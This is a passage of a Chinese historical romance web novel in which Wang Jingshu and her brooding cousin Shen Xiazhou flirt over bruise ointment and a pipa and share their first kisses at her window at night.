沈遐洲眼睫垂了垂,风马牛不相及的问答,可沈遐洲懂了,王静姝不喜欢郑家的做法,同样的,若是他将那位宋惜玉娘子料理后,送到王静姝面前,她怕是也不会觉得快意。 那就不让她知道好了。 沈遐洲心中如是想,同时让人将牛心炙这道菜撤了下去,浅淡笑道:“我也不喜这道菜。” 两人一餐饭用得颇为和谐,但王静姝并不会照顾人,沈遐洲也不是那种凡事需要人照料的郎君,王静姝主要能做的,是陪伴,和闲聊。 她取出一盒本就要送的药膏:“我听医官说表哥身上还有不少皮外伤,这是我从家中带来的紫云膏,对外伤淤痕效用极好。” “我练舞摔伤都是用此。” “表哥记得用。” 沈遐洲摆弄着药盒,垂着眼轻笑:“我还以为表妹会说,要帮我上药。” “隔了一日的功夫,表妹含蓄不少。” 王静姝眨眼,笑语:“也不是不行,表哥要吗?” 她半仰着脸安静睇望沈遐洲,目中像是带着笑意,也像带着不知名的期待,她在默默地数着数字记时,而她面前的郎君,果然,慢慢地败下了阵。 王静姝这样的女郎是可恶的,她能为了一点点喜好,肆意地撩拨,然沈遐洲无不有明知而送上门的嫌疑。 他很少能做到如王静姝这般大胆直白地显露喜恶,可他又聪慧敏锐十分,只需稍稍顺势,亦或是言语露个钩子,王静姝便会自觉占了优势地更进一步。 他是极好的猎手,他知道王静姝被他的什么吸引,他也善于利用这个优势,但也不能次次让王静姝只有得逞,王静姝到底能大胆到什么程度,他想试试。 他将药盒往王静姝那侧推了推:“那就有劳表妹了。” 年轻郎君面皮很薄,即便是蓄意而为,也让他为想象的可能,在面皮上显露出一点儿不自然。 很细微,像是刻意伪装收敛,又敛不住才透出的一点儿。 勾得人心痒痒。 王静姝有点震惊沈遐洲这次怎么不拒绝了,真要为沈遐洲上药? 她目光不由落在年轻郎君身上,白衫大袖,席坐铺地,面貌与坐姿都极为端正,那极些微的羞赧如氤氲在山水墨画之上的水汽,细濛濛的,等着人拨开。 他就是这般如云如雾一样高邈出尘的郎君,可见过他与赛牛缠斗,王静姝又深刻知道沈遐洲不止如此,被衣袍遮掩的腰处,是同俊秀面皮不同的力道。 王静姝脸红了红,少见地有些羞涩了,做好准备似的开口:“三表兄,你脱吧。” 第22章 第22章“我太用力了?”…… 沈遐洲的伤在哪,脱什么不言而喻。 王静姝目光也是从沈遐洲的腰腹处像钩子一般地转了转。 她眉眼弯弯地笑着,等着。 但沈遐洲像是过了很久一般,一直没有动,他是想试探王静姝胆子能大到什么程度,甚至做好了配合的准备,可真到了这一步,反是他更像是被调戏了的黄花大姑娘,从也不是不从也不是。 从了,也让王静姝这个坏女郎瞧到的太轻易了点,她没羞没臊的,说不得还要嫌弃挑剔他什么。 不从,又好似落了她一头。 王静姝歪头:“表哥?” 沈遐洲动了,他没有去解衣,只抬了抬手,让半只臂膀露在外,上面青紫不少,掌心还有划伤。 “上药吧。”他绷着脸道。 王静姝笑意有些止不住地上扬,又努力地往下憋,她便知道沈遐洲没那个胆在女郎跟前解衣,他是连她来探病都要她避出房外换衣的郎君。 想要赢沈遐州,那就不能露半点怯。 她赌赢了,可没想到沈遐洲还会有这般的举动,王静姝只觉得心软一片,她可真喜爱死这样的沈三郎了—— 他俊美,羞赧,不强势。 即便其中很多不见得是真的,可也足够让人心动。 遂而,她也有意不去激沈遐洲的羞恼,她忽视他俊美脸庞上努力想藏起来的僵硬,将注意集中到那搁在桌案上的臂膀上。 这一看,她心是真沉静了下来,这些伤很细碎,可又触目惊心,可想昨日沈遐洲同赛牛的缠斗几多拼命。 他又中毒又生病,还又受伤的,这身体难怪时好时坏的。 她眉尖心疼地蹙在一起,沈遐洲倒有些不好意思装弱了,轻扯了扯上撩的大袖,将青紫遮住:“都是些皮外伤,过两日就褪了。” 王静姝抿唇不语,眼眸粼粼若有水色,她是明艳四射的那种女郎,可当她垂眼露出心疼神色时,明妍褪去许多,眉眼中的低怅伤怀被放大,长睫一颤一颤更是像小扇子一般让旁人先揪上了心。 直觉这般女郎不该露出这样低落的愁绪。 沈遐洲兀地都有些反思自己。 王静姝没有怅怀多久,利落开了药盒,挨近沈遐洲坐下,不容沈遐洲反抗地重新将他袖子撸上去。 她用盒中银勺挖出一块紫色膏药,置于掌心,双手轻轻揉搓,用掌心的温度将药膏融化,紫草的味道蔓延鼻息,带点清凉,还混有丝丝暖香,两者交融在一块,分不清到底是膏药的味道浓一些,还是女郎身上漫出的馨香更浓一些。 沈遐洲昏昏然然感受着女郎将药膏按压到他臂膀,温温热热的,还很是柔软,熨帖得他心间也跟着一颤一颤,无端遐想。 遐想得深了,眼眸也淌出浓墨一样的色泽,像沉迷,又像想吸入什么的黑洞。 遮掩地眯眼,只见王静姝奇怪抬眼,疑问:“我太用力了?” “这种药膏就是这样的,必须揉入肌骨了,淤血才好散开。” “竹苓平日里都是这样为我揉的。” 她也是第一次为旁的人揉药,说着,有些不确定起自己的手法来。 沈遐洲没有听进她到底说了什么,视线低低地落在女郎虚虚摊开的手上,十指青葱,指尖许是揉药的缘故,泛着充血的红。 浅浅染着的一层膏药,恍眼瞧去,像是为她的手覆上一层莹玉之色。 好看之余,无端地令人口干,连嗓音也带上了一丝暗哑:“力道刚好,可以继续。” “这手也有淤青。” 沈遐洲抬了抬左手,袖摆下滑,流出 好看的肌骨线条,不是凸显又夸张的健硕,就是恰到好处,动作时才会显露的起伏,其实他只是看着不够强健而已,实则劲瘦有料。 左臂的乌青并不如右手那般触目,三两处拇指大小的青块而已,王静姝也就只挖了小小一块药膏将其融开,点抹在沈遐洲伤处。 沈遐洲眼神微飘,感到些微可惜,昨日或许也该多用这只手迎上赛牛撞击。 王静姝为沈遐洲手臂最后一点乌青抹入膏药后,纠结盯向沈遐洲腰腹处,她想,手臂都已有这般多的伤了,身上那一下,更是她亲眼见到白牛冲撞上去的,岂不是外伤更重也更显? 她虽向来行为大胆,可也才十六而已,许多东西听过,翻过几页书,却是从未实践过的,也更不曾见过郎君的赤身。 她对上沈遐洲的言语撩拨,也不过是仗着沈遐洲害羞,欺负他。 她纠结中,眼风也有一下没一下地撩向沈遐洲的胸腹。 沈遐洲被她眼风撩得耳廓又红了,更有一股热流隐隐往下,他席坐变化一瞬,护住了自己腰间玉带,“这里就不劳表妹了,晚点我自己可以。” “好吧。”王静姝淡色放下药膏,嫌弃地闻了闻自己手中浓郁的紫草味,起身:“我明日再来看三表哥。” 直到女郎离开的背影再也看不到,沈遐洲才松气地仰靠窗棂。 陆离的翠叶阴影打落在他冷白面容上,清渺慵懒,气质出奇的柔和,他心底住了一只野兽,长长久久地闹得他无法平静,有时是自厌,有时又觉得所有人都该死,无论做什么,他都难以觉得满足,可同王静姝在一起,只是说说话,上上药,他难填的沟壑被陌生的情绪代替,新奇,又刺激。 还有些着迷。 他怔怔地想,王静姝明日会何时来? 他是不是也该去寻她? 这是他家,他自然哪都去得。 然,到了王静姝院中,才知晓王静姝为何卡着时间地去照顾他,她可真忙啊,精力也真旺盛,院中多是人,她一会同女郎商讨乐器音阶,一会同沈二郎配合举麾时刻,还夸沈二郎琴音雅妙。 她可真是什么都不耽误的。 沈遐洲咬着牙地想,气闷非常。 第23章 第23章你是想我也夸夸你吗? 王静姝院中,近两日时常有女郎来访,当然不是冲着她来的,而是冲着沈二郎来的,这些女郎也不可能移到男子的院中,园子往来仆役又多,她的院中反是最合适的。 虽有些不喜院子变得有些不像自己的,可她也算是沾了光,这些冲着沈二郎来的女郎,无疑是某一乐艺的佼佼者,她们陪沈二郎练举麾,也为合她的舞重新排乐,排列每一音该出现的时刻。 就是有些可惜,这些女郎并不能同她一起上场,宫中自有乐师为所有参选的贵女配乐,这就显得举麾的沈二郎尤为重要,她瞧着,沈二郎近来都消瘦了不少,焦虑的。 至于她自己,不管是何舞种,都难不倒她,这是融刻入她骨髓的技艺。 祭舞是为祈福何祝祷,可选的也有多种,如傩舞、般乐、隶舞…… 她自然是迎合洛京贵人们的喜好,选最为雅慢的般乐,只见她动作极缓慢地抬手勾腿,她的慢不是僵硬的慢,相反极考验舞者功底,每一块肌骨每一细微的动作都柔如缓慢波动的水流,就连她的呼吸也像是融入周遭的一缕风,舞的意蕴被她展现得淋漓尽致。 她无疑是天赋极佳,可不乏也有她多年不曾懈怠苦练的缘故。 虽只是为了合一位娘子的曲,跳了一小段而已,但即便这么一小段,也仍让在场看过多次的郎君女郎们失神,她美得如梦似幻,不似凡尘女郎。 沈遐洲视线定在女郎蒙着细光的曼妙曲线上,不由捂了鼻。 跳快舞的王静姝明艳奔放,慢舞的王静姝身姿曲线展露无遗,她可真好看。 她这么好看,不管在哪,都会有很多人喜爱她。 她还不曾放弃成为端午的主祭。 陶然根本不会是她的对手。 沈遐洲心中怅然至极,他不知道该拿王静姝怎么办好了,他有许多原因不愿王静姝去出这个风头,再则,一想到会有男人如他一般看王静姝,他便恶意横生,想剜了那些人的眼。 他想起,他曾经虽不曾剜了人眼,但也将那些偷瞧王静姝练舞的小郎君,一个不落地扔入了水中,他非常后悔没有将他们舌也割了,给了他们机会去挑拨和搬弄是非。 王静姝竟然为了那样的一些人同他生分,甚至与他们合谋来教训他。 他不知王静姝到底参与了多少,但可以肯定的是,王静姝没有选择他,她宁愿受罚也要帮她的发小们开脱。 她的喜欢和交好,极其容易舍弃。 沈遐洲凝着根本没有发现流虹院又来人的女郎,眼眸时而阴鸷幽冷,时而伤感自怜。 血丝在眼底蔓延。 日光下的郎君,几多俊美又几多扭曲。 他没有惊动任何人,兀自离开了流虹院。 院中唯一的郎君,沈二郎沈遐元,有一瞬背脊发凉,有女郎发现,关怀询问:“二郎,你怎了?可是练累了?” 沈二郎停顿动作,搓了搓臂,几分神神叨叨:“我方才感觉死里逃生了。” “二郎又说笑了。”女郎被逗笑。 只是极简单的小插曲,王静姝在送走院中这些客人后,才听得竹沥道,沈三郎好似来过。 王静姝惊讶抬头:“何时?” “差不多是沈二郎抚琴时。”竹沥自觉失职,作为娘子的贴身又得力的女婢之一,本不该如此只给娘子一个模糊的答案,更不应该在有客来时,不去确认招待。 可这沈府毕竟不是王家,他们带来的人手有限,粗使仆婢用的也都是沈家给的人,而院中来做客的郎君和女郎非富即贵,许多照料与安排都得她与竹苓姐姐看着。 等想去确认来人时,早已不见了人影。 王静姝也知这一点,摆了摆手:“无事,我等会也是要去看望他的,去为我备一些消暑的茶酪。” 这是一种结合了南北饮食的糕点,既有北方酥酪的奶香甜味,又有南方好茶的回甘清雅。 这个刚入夏的时节吃恰好。 她提着点心去看沈遐洲,听松居中一贯的叶涛阵阵,仆役各自忙活,透着一股子静谧。 主子难伺候,下人自然就处处降低存在感,也就星泉活泼些,可他也满面愁容地摆弄着个扫帚,就挺让人猜测的了。 “你家郎君又怎么了?”王静姝避开扫帚挥来带起的落叶,开口问。 星泉见来人是王娘子,扫帚哐地一扔,“王娘子,你又来看我家郎君啊。”他有些不好意思,“我家郎君今日不在。” 王静姝蹙眉,竹沥没看错的话,沈遐洲应是在府上的。 他是不想见她? 他在发什么脾气? 她虽答应了要照顾他,可她也有忙碌的事情呢,再说,她都不计较陆先生被抢了的矛盾,她只不过不想再因端午祭的事,两人再生分歧,故而有意不让他知晓她在准备什么,每次也都是她主动来陪他。 沈遐洲这才去她院中看了一次,就不见她了,这是什么意思? 沈家再煊赫,她王家底蕴也不差好吧,她一个王家贵族女郎难道还要为一个寒门女郎让步? 王静姝是个美艳女郎,当她生气时,火气是一簇簇往外冒的,尤为明显,也尤为盛气凌人。 星泉不由倒退一步,果然,能同他家郎君好好相处甚至压制的女郎,根本不会简单。 王静姝绕过星泉,兀自进了沈遐洲房中,并无人。 星泉跟在后委屈嘟囔:“王娘子,我都说了我家郎君不在。” 王静姝:“那他在哪?” 女郎气势实在迫人,星泉有些顶不住,眼神乱飘地将郎君卖了:“郎君没换外出的衣裳,应没有出府。” “郎君还看过主君送来的信,或许会去西书阁。” 王静姝敛了一些气势,眨眼,西书阁她是知道的,她才入沈府就被困在其中小半日走不出来,印象深刻至极,她知道想知道的,遂也不为难星泉,还将带来的茶酪一同塞给了他:“给你了。” 星泉一会 看看往外走的王娘子,一会看看手中的食盒,挠头低喃:“我也没说郎君一定会在西书阁。” 好在,沈遐洲就在西书阁。 沈家家主沈照离京数年,如今人在孟津渡小次山修道,少往京中来信。 就是沈遐洲这个做儿子也难得其只言片语,这次信中,倒是例行关怀了几句,然后便又是托他寻书。 西书阁大半是沈照收集的各种孤本,无法全带走,有时想起需要什么了,便会如这般让沈遐洲寻出。 也算是父子间维系关系的一种方式。 他先前从王静姝那儿离开,心情颇为低落,既因回想起不快的往事,又因他拿王静姝无可奈何,从见她险些被赛牛踏于蹄下,他便知,他做不到掐死王静姝这个罪魁祸首。 而如今让他嫉妒到发疯的郎君又是沈二郎,王静姝非但夸沈二郎,还笑靥胜过与他相处。 他是决不允许身边的人同王静姝有别样亲密的,即便这人是他兄长。 只是,他也知他现在与王静姝的关系处在一种极危险的范围内,随时可能翻脸决裂,所以,他也不能再次去破坏她为端午祭的准备。 这不行,那不行,所有的苦涩只能往下咽。 王静姝这个坏女郎总是在无形中便欺负了他。 但他来书阁,非是为了避开王静姝,除了寻书外,还为取一物——凤尾绿檀琵琶。 当王静姝终于快绕进西书阁时,便听到一阵乐声,不是含蓄轻柔的琴声,要更清澈、明亮一些,有几个音也甚是铮鸣婉转。 是琵琶! 王静姝辨出来了。 谁会在这里弹琵琶? 她心中隐隐有了猜测,加快了脚下的步子,又在快靠近之时,放轻缓了步子。 那曲腿倚靠廊柱拨弹琵琶的年轻郎君,不是沈遐洲是谁? 他容色一绝,同绿檀琵琶气质相融,既如秋水又如昆山巅雪。 日光落在他身上,几近透亮,他不顾被风吹得摇摆的大袖,低敛眉目续弹,像随时会消散的泡沫,无端令人心碎伤感。 世家郎君中其实很少有男子会学琵琶,因它既不如琴与名士相形相契,又不如萧鼓清逸磅礴,常被人弃于末流。 可只有见了沈遐洲,才会觉得那些固有印象都是放屁,他们就是不够好看,气质不够出众,才无法与琵琶相匹。 若说王静姝在踏入西书阁前火气有十分,在见到沈遐洲时便只剩五分,伫立片刻,更散得只有些微的一点儿。 她心头咚咚不断,她为这样的郎君心动,也被他的美色所迷。 弦音戛止,王静姝还有几分迷惘,不解走近:“表哥,你怎么不弹了?” 沈遐洲面上不免羞窘,他已很久没有碰过乐器,若非王静姝不是一会与惠王夜下听曲,一会又夸沈二郎琴音雅妙,他也想不起捡起琵琶。 即便他再敏慧,许久不碰再重拾,也弹得几多艰涩,偏王静姝在这时来了。 他侧偏了偏脸,避开王静姝大胆又直接的目光:“表妹怎来这儿了?” 王静姝不避讳地在沈遐洲身侧坐下,微微笑看他:“不是你去我院中寻的我吗?” “表哥为何都不打声招呼就走了?”她单手撑在地上,身子微侧,目光也缱绻又带欣赏地凝着眼前的郎君,不是质问,更像是嗔怪。 有丝缕发从她身后侧落,耳下长坠宝石耳坠也跟着轻晃。 沈遐洲心不在焉地盯着,语气很淡:“我听表妹夸二哥琴音雅妙,不愿打扰。” 王静姝顿一下,心想,沈遐洲什么意思,她夸沈二郎跟他打不打扰有什么关系。 这时,沈遐洲又去拨弄他那琵琶弦,些微几个音,并不成曲调。 王静姝看看那绿檀琵琶,又看看郎君闲适舒朗后倚的姿态,他又睇来了一眼。 福至心灵般地,她好像明白了他的意思。 她目中如有星光摇落,分外有兴致,倾身靠近了郎君一些:“沈九如,你是想我也夸夸你吗?” 她实在是个坏女郎,笑意促狭又带轻诱。 可她又笑得那般好看,香腮胜雪,眉眼婉丽,她朝他倾来,有雪落一般的触感在颊侧飞快一点。 第24章 第24章我一点感觉都没有。…… 沈遐洲眼眸飞快地上抬,目光追随后撤的女郎,他不再懒懒坐着,琵琶无觉一般向旁倒去。 王静姝忍笑看他反应,便知自己猜对了。 她觉得沈遐洲实在是个别扭的郎君,心中想什么又偏不说,暗示来暗示去的。 可她又为他这样的小心思,小手段摇曳不已,世上怎会有这样的郎君,他见了她夸别人,就也学旁人去拾拿乐器。 原来,他不是又想给她的端午祭使绊子。 心里头最后的哪一点怒也散得不见了踪影。 她心情一好,便又用眼去招沈遐洲,见他惊愕不敢相信还不够,她轻声夸他:“三表哥,我觉得你弹得才是最好的,人弦相融,风采甚过旁人无数。” “我甚是喜欢。” 她果真没羞没臊的,说话还不够,身子也半贴上来抓着他手臂。 沈遐洲视线不由下落,女郎还着着先前练舞的衣裳,这种衣裳较平日的常服要更轻便,同样的也更轻薄,那漫托着的起伏,就这样虚虚悬在他手臂毫厘的上方。 而女郎还毫无所察地仰头望他,见他对她的夸赞毫无反应,更进了一步地仰望他,轻声:“三表哥?” “沈九如?” 要命! 沈遐洲眼前金星乱冒,一会是手臂处贴来的感受,令他神志昏昏,一会又是女郎又柔又娇的呼唤。 九如是他的小字,从女郎的口中唤出来,酥酥麻麻的,从心间一贯到了脑中,再炸开。 王静姝“呀”的一声远离了沈遐洲:“表哥,你流鼻血了!” 沈遐洲伸手一摸,果然是血,他慌张起身,王静姝也掏出帕子要为他止血。 沈遐洲哪里还敢让她帮忙,连退了两步:“我自己来。” 王静姝无奈立在一旁看他,她便知沈遐洲一贯的体虚气弱,亏沈二郎还说他早好了。 她立在那即便一句话不说,沈遐洲也清楚从她眼中读到她想的什么,他怕是再洗不清王静姝对他的印象了。 “我晚点再来寻你。”沈遐洲实在受不了王静的这种眼神,留下一句话落荒而逃了。 年轻郎君一旦施展起轻功,一眨眼的功夫便不见了。 彼时,星泉正在院中的石桌上享用王娘子送的茶酪,忽察一阵风落下,扭头一瞥,惊道:“郎君,你回来了,方才王娘子来寻过你?” 沈遐洲捏着擦过鼻血的帕子,骄矜点了点头,便要回房,余光瞥见星泉身后食盒,问道:“哪来的?” 星泉低头嘿笑:“王娘子给的。” 沈遐洲眯眼:“给你的?” “应是给郎君的。”星泉敏锐地察觉到些郎君脸色不对,“但郎君不在,王娘子忽然就生了气,将点心给了我。” 星泉心头惴惴,马上下跪:“郎君我错了,我不该告诉王娘子你可能去了西书阁。” 星泉一哭起来就要去抱沈遐洲的腿,沈遐洲避开,容色忽地有些心不在焉,不自然地夸道:“你没错,你做的很好。” 星泉倏地止住了哭,莫名得很,郎君是在夸他做得好?王六娘子不会又被困在西书阁出不来了吧? 沈遐洲脸色不正常的赧红,他是又想起了女郎倾身下来的一吻,这些缘由自然是不可能同星泉道的,他轻咳一声,望着打开的食盒吩咐:“既然是送给我的,送到我房中。” 星泉又哭丧了脸:“郎君,没了。” 沈遐洲顿一下,脸色落了下来,刚才的夸赞不复存在,眸色阴沉得紧:“你这个月月钱可以不用要了。” * 夜里,正是入睡之际,王静姝总觉得窗外晃动着人影。 她戒备地撩开床帐,捡起一个烛台,静坐在 床沿细听外头的动静,这是沈府,按理,没有小贼敢闯,除非是什么家贼。 她随时做好了呼喊的准备。 沈遐洲是习武之人,些微的动静都逃不过他的耳,他听到了房里的动静,隔着窗轻问:“表妹,你是还醒着吗?” 年轻郎君的声音在黑夜里幽幽的,轻轻的,但刚好能让人听清。 王静姝提到嗓眼的心忽地就放了回去,但心中还是有些气,沈遐洲夜里不睡,跑来她这儿做什么? 她趿着软缎的鞋,走到窗边,有些没好气地推开窗,那没有点的铜制烛台也威慑地往窗沿一放,大有沈遐洲说不出个所以然来,这烛台便会落到他身上的意味。 然,沈遐洲并没有功夫去留意她的这点小动作,他满眼被此时的王静姝吸引,女郎乌发垂散,不施半点脂粉,也不着半点饰品,与白日里总是华裙美饰的张扬明艳全然不同,纤纤身姿在昏暗的光下像一抹淡淡的月色,别样的清婉动人。 沈遐洲忽地有些不敢看她。 他视线落在夜空,落在院中花草,就是没有落在王静姝身上,“我白日里有些话没有同你说清,而且,听星泉说,你是生着气去寻我的。” “你为何生气?” 说到这,他终于将目光移向了王静姝,不偏不倚地望入王静姝的眼里。 王静姝看着这样的沈遐洲,有些失了神,他本就天生的好相貌,眉目清而有神,昏昏月下,眉眼往下的山根更显雅润,还有温柔。 “我已不气了。”王静姝低声,但并不说缘由,毕竟是她误会了。 她不说,沈遐洲却可以猜到,他们彼此都清楚,过往很多累积的矛盾并不是遗忘了,也不是无所谓了,只是被更具吸引力的情绪盖住了,当不去想不去提时,便如冬日的种子一般,安安静静地埋在土中,可一旦到了春日,便会生根发芽,继而快速地生长。 就如他不愿王静姝去参与到端午祭,而王静姝也并不愿被他知晓打扰一般,这是一层极薄的土层,他们的关系随时会因某一件事小事破裂。 即便揭过了今日,也会有下一次。 可他并不愿与王静姝就此结束这样缓和的关系。 他隔着窗台,俯身凑近王静姝,用手抚起她的脸,“我之前并不知你也去寻访陆先生。” “我帮陶然是为她父亲手中的势,我母亲想抬举寒门武将,你这时去参加端午祭是讨不到好的。” 王静姝眼眸逐渐清明,拍开沈遐洲的手,“原来你夜半来是为了劝我放弃?” “你无非是想让我对她相让,她是什么缘由参与端午祭同我有何干系?我凭何相让。” “沈九如,你有那么大的脸面让我为你让步吗?” 她是真气急了,一番话斥完,胸脯呼吸也跟着起伏,再去看沈遐洲,他竟然还露出委屈的神情! 他有什么好委屈! 半夜来寻她就是为了说旁的女郎的事,还话里话外让她相让,她咬死他的心都有了。 她拿了烛台便要去关窗。 沈遐洲却比她更快一步,锢住了她的手,隔着窗台搂住了她的腰,目中凄然流露,语气也透着一股子的凄楚:“你都不听我把话说完。” 他垂眼,“我不想帮她了。” 他眼底有很多的情绪,直勾勾地望着王静姝,还用鼻尖去蹭她,像是讨好,又像是安抚,还在催促着她做出反应。 四目相对,鼻息交缠,屋中灯火与院外月色相映,有人声忽地出现:“娘子,可是有什么吩咐?” 是竹苓醒来了,察觉到了动静。 王静姝焦急下扯了扯沈遐洲衣襟,他会意地松开她。 王静姝往外应道了一声,安抚竹苓。 再侧眼,某人竟已翻窗而入。 沈遐洲对上王静姝视线,低声:“你还没给我答复。” 王静姝哼了哼,瞥眼讽他:“你跟谁学的夜探深闺?” 沈遐洲看她,“你。” 王静姝顿一下,想起,她确实做过半夜闯入郎君院中的事,可那时她还是个小女郎呢,同沈遐洲的性质能一样吗? 她被沈遐洲噎得瞪眼他:“我知晓你不帮别的女郎了,你可以走了。” 沈遐洲却不动,用漂亮的眼一眼一眼地撩王静姝,烛光映在他眸中,满是欲语还休的濛濛雾色。 他本就是极俊美的郎君,又显出这般姿态,看得让人心颤。 他到底什么意思啊? 王静姝假作镇定地去摆弄窗扇,偷偷瞥他。 沈遐洲无奈叹气,直接明示:“我都同你说清楚了,你不对我有些表示吗?” “你白日那一下我一点感觉都没有。” 王静姝怔愣,眼睫轻轻颤一下,鬼使神猜地就明白他说的白日那一下是哪一下。 她撑不住地笑起来,那是克制不住又偏要缩小动静的肆笑,她笑得趴伏在窗台,乌缎一样的发从肩头滑落,轻薄纱衣透出些肤色,腰肢也被勾勒出些轮廓,纤细又柔韧。 沈遐洲知道的,方才他还搂过,他被她笑得面上赤红,双颊咬紧,眸中更是凝起浓色,他杀了王静姝的心都有了,她这般肆笑,又是在玩弄他感情,偏他还被她诱了。 浓浓伤感伴着杀意,可又那么无力,他舍不得杀她。 王静姝像是终于笑够了,她转过腰身,身段婀娜,眸光潋滟,眼尾更是沾着笑出的晶莹,她轻勾了勾沈遐洲腰间的博带,双臂缠上他脖颈,仰头亲了亲他。 这次不是轻轻碰一下颊侧,她贴上了他的唇,这是不一样的触感,软软的,还有点他这人身上特有的味道,说不清道不明,但极让人想再感受一会。 她小小地伸出了一点舌尖,露出了点白牙,轻轻地咬了咬他一下,又舌尖划过慢慢呷了一下。 沈遐洲从被她勾上的一刻起,就浑身僵硬,有点不敢置信,又有些沉迷其中,他本也只是想她再亲亲他脸颊而已。 他手掌本能般地拂上她纤柔的腰肢,支撑着她探索。 她整个人被抱到了窗台,年轻郎君俯身迁就她,屋中是昏昏灯光,屋外是姣姣月色,他们被新奇的触感吸引,缠绵,探索,发丝也缠到了一处,像是过了许久,才彼此迟钝地寻回几分神志。 他们慢慢分开,额抵着额,王静姝哑声:“这次总有感觉了吧?” 第25章 第25章她还没想好要不要睡了他…… 女郎声音哑哑的,不是干涩的哑,而是有些接不上气,伴着吐息的那种轻声,热热的,痒痒的,带着些方才亲吻后的潮意。 她的眼眸也近在咫尺,眸里水光潋滟,纤浓眼睫上扬,颤得像雨打的蝶翼。 沈遐洲不由心间也跟着摇一下,被她问红了脸,他略落下视线,轻“嗯”了一下,目光不经擦过女润泽蒙着一层水光的唇。 摇曳不已。 他刚尝过,那么柔软,又那么香甜。 他垂头,又想去亲亲她,王静姝却倏地松开了吊在他颈后的手,自颈后滑落胸膛,推开他,那眸中的笑意妩媚无比,她半倚在窗台上,挑眼笑道:“沈九如,我没想到你竟是这样的人,我看透你了。” 沈遐洲眸中被挑起的欲色还未敛,神色不甚清明,但女郎的调笑简直如魔音一般抓着他的心,王静姝实在是个坏女郎,她方才的生涩明显不下于他,可她就是能马上反过来揪住他不放,嘲笑他,嬉弄他。 他也无比地恨自己不如王静姝,竟在此事上落了下风。 他握住王静姝压在身前的手,逼近。 年轻郎君一旦沉下了脸色,便少了那份生动的欲色,他变得幽冷,隽寒,背着灯火落下的阴影更显压迫。 王静姝莫名地就感到了紧张,心脏在不受控地砰砰,像是要跳出了胸口,但她清楚地明白,她不是害怕,她觉得刺激。 无比的刺激。 俊 美郎君怜弱时,她想戏弄他,可他变得有攻击性时,又那般危险得人心神荡漾。 王静姝美眸大睁着,一瞬不瞬地盯着往下靠近的年轻郎君,搭在窗台上的手紧张得往里蜷,漂亮的指甲清楚感受到同漆木的摩擦,有点粗糙,还有点磨手,就像她的心一样,被难以言说的情绪来回地摩挲,颤栗无比。 沈遐洲压下脸,乌发往一侧滑落,冷白面容在月光下隽冷阴寒,张开的唇也像露出毒牙的毒蛇。 王静姝感到自己的面皮一疼,不敢置信地捂脸瞪他。 沈遐洲竟咬她的脸!? 沈遐洲得意地冲她笑笑:“惩罚。” “你——”王静姝气得说不出话,漂亮的人从来都是知道自己漂亮的,也极重视自己的脸面,不然她也不会因为受罚记恨沈遐洲那般久,她越过沈遐洲冲到妆台前去照镜子。 镜中女郎皓齿朱唇,容靥艳丽,唯独左颊上突兀一点牙印,没有破皮,可深深一点,极突兀,也不知到了白日可能消得掉,侍女们看到了如何是好? 她怒得想寻沈遐洲算账。 可此时大开的窗前,哪里还有年轻郎君的身影,他跑了。 王静姝气得将窗户重重关上,又惊醒了侍女,不得不寻个借口说想喝茶。 而已跑走的沈遐洲,被夜风吹一下,不自然地羞红了脸。 * 翌日,王静姝脸颊上多出了红红一点,红豆大小,不疼,但已引来多人问询是如何了,她只得搪塞是蚊虫叮咬,她恼了沈遐洲,不再去赴约照料他,她瞧着,他好得很,夜探闺房的事都做得来去无声。 王静姝没有了动静,沈遐洲却是坐不住的,几次派人来流虹院中看她在做什么,可得了空。 她俱当做不曾见到。 沈二郎发现了端倪,笑得满脸关怀:“听说表妹这几日都去照料三郎?” “他身体可好些了?” 王静姝点头应得敷衍。 沈二郎当即变脸:“既好多了,还一直派人来扰了表妹作甚?” “不过是个救命之恩,自家表妹那不是理所应当的吗?” “我这就去听松居一趟,帮表妹收拾了他,好叫他不再扰了表妹习舞。” 沈二郎说得又快又激动,还起身就要往外走,王静姝从一开始的惊讶到连忙去拦他,“二表哥,三表哥还没好全,他毕竟救了我,我多照料下他也是应该的。” 沈二郎迟疑了,各种情绪从他脸上逐一闪过,心疼、无奈、歉意,最后像是坚定又像是无法地叹气道:“既如此,我家三郎就交给表妹了,表妹去看三郎吧,这边有我。” 王静姝眨了眨眼,她似乎没有说现在就要去瞧沈遐洲吧? 四目相对,一殷切不解“你怎还不去?” 一茫然疑问“我要现在去?” 谁都不曾言语,可就是那般清晰直白地从彼此的眼中读透了对方的意思。 最后,还是王静姝败下了阵,在沈二郎的目送中离开了流虹院。 沈遐洲似突然喜爱上了西书阁,当她到了听松居时,竟让人转告在西书阁等她,她满腹狐疑,但仍旧去了,有了前两次的经历,她对西书阁倒是越发的熟悉了。 才走出弯绕的阵中,便又听得了一阵乐声,仍旧是琵琶,却比上次听得的更加流畅激昂,足以感受得弹奏之人心中欢愉。 王静姝不经笑了,她当沈遐洲约她到此是为何呢,原来是想故技重施。 她压下唇角,一点笑靥也无地出现。 僵着脸的女郎依旧貌美,却无端的冷艳,沈遐洲惊得按住四弦,他为女郎的貌美惊叹,又为她的冷脸而乱了心扉,甚至惴惴。 王静姝眉眼上扬地瞥他一眼,别过了脸,恰到好处地露出被他咬过的地方。 其上红红一点,在女郎的颊靥极其明显,像一颗红豆,又像一点红樱,没有折损女郎半点风姿,反更显衬得女郎肌肤莹白娇嫩。 沈遐洲心虚之余,甚至生出想舔一舔的念头。 王静姝见他垂头不语,当他是没有瞧见,几步上前,偏脸凑到他眼前,指给他瞧:“沈遐洲,你是属狗的吗,将我咬成这样?” “你可知今日已有多少人问我这从何而来的了?” “得亏是夏日,我还能用蚊虫搪塞过去。” 女郎如珠炮一般喋喋,抹了口脂的红唇一张一合,红滟又美丽。 沈遐洲着了魔般地凝着她的唇。 王静姝兀自说了会,才发现眼前的郎君目色可怕的沉静,心跳咯噔一下,腰身向后撤去。 然早已晚了。 年轻郎君忽然迅捷如豹,拉她一把,拥她入怀。 他的唇瓣在王静姝脸颊红豆大小的红痕上摩挲,热热的舌尖跟着一舔,湿滑的触感一径从面部的肌肤传至女郎的尾椎骨。 王静姝颤栗得揪紧了年轻郎君的前襟。 沈遐洲终于微掀了乌浓眼睫,濛着细雨一般欲色的眼眸乌沉沉、浓黑无比,里头无比清晰地映着女郎的脸庞,他似诱又似怜一般地问:“你要咬回来吗?” 王静姝呼吸都跟着滞了滞,沈遐洲实在是个学习极快的郎君,昨夜之前,他分明连她都不如,不过一夜的功夫,竟,竟能反客为主了! 